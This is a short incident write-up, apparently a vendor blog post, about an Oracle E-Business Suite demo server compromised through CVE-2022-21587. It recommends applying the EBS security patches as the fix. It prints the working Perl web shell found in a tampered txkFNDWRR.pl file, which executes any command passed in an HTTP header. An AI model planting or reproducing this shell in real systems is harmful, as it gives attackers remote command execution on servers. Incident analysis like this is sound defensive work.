Recently we recognized that Blitz Report EBS 12.2.12 Demo instance does not work as expected. No concurrent request log or output file could be opened. Instead a blank page was displayed with a URL that looked like:

https://demo.enginatics.com:4443/OA_CGI/FNDWRR.exe?temp_id=1001054024

I spent some time identifying the root cause of the issue. Finally I found that the following file was tampered on the run filesystem:

/u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/common/scripts/txkFNDWRR.pl

It contained the following code:

use CGI;
print CGI::header( -type => 'text/plain' );
my $cmd = CGI::http('HTTP_CMD');
print system($cmd);
exit 0;

That led me to the following article which contained exactly the same code.

Turned out that someone hacked our EBS using Oracle Web Applications Desktop Integrator CVE-2022-21587 vulnerability. Anyone with the EBS login page available on the Internet is under risk. Recently one of our customers faced the same problem. The fix for that issue is to apply the latest EBS CPU patches.

This example shows one more time the importance of applying the security patches regularly as sometimes it is hard to predict where is the weak point in your system.

Author: